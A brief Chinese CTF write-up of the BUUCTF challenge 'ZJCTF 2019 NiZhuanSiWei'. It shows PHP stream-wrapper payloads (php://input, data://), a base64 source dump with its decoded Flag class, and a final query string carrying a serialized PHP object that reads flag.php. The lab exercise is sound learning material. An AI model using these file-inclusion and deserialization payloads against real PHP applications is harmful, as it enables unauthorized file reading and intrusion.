BUUCTF:[ZJCTF 2019]NiZhuanSiWei 1
水文,给自己做点记录
这个简单,但是我没做出来,,辣鸡!
就是一个简单的伪协议的应用,
源码自己去看
没有做出来的原因
- 想PHP伪协议,没有想全
- 对文件包含不够敏感
就做到这一步,主要是useless.php我没用到啊,里面的flag在什么变量里面我也不知道,里面有什么类我也不清楚。。。
不行,看WP了,,
--------------------------------------------------分割线-------------------------------------------------
对利用PHP伪协议的地方还是不够敏感,
对文件包含也不够敏感
首先,看到这个,想到
?text=php://input
没问题,但是也要想到?text=data://text/plain,welcome to the zjctf
。想到这两个可以造成任意代码执行的PHP伪协议。
这里不要笨笨的就传一个参数就好了,也可以用 PHP伪协议去读取啊
用?text=php://input
+ post poc:welcome to the zjctf
用这个也可以的?text=data://text/plain,welcome to the zjctf
两个都试过了,都成功
得:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
告诉我们在flag.php中有一个Flag类,调用tostring就好了file为flag.php
easy。poc:
?text=data://plain/text,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
还差一点,,…
。。。mdzz,无聊 F12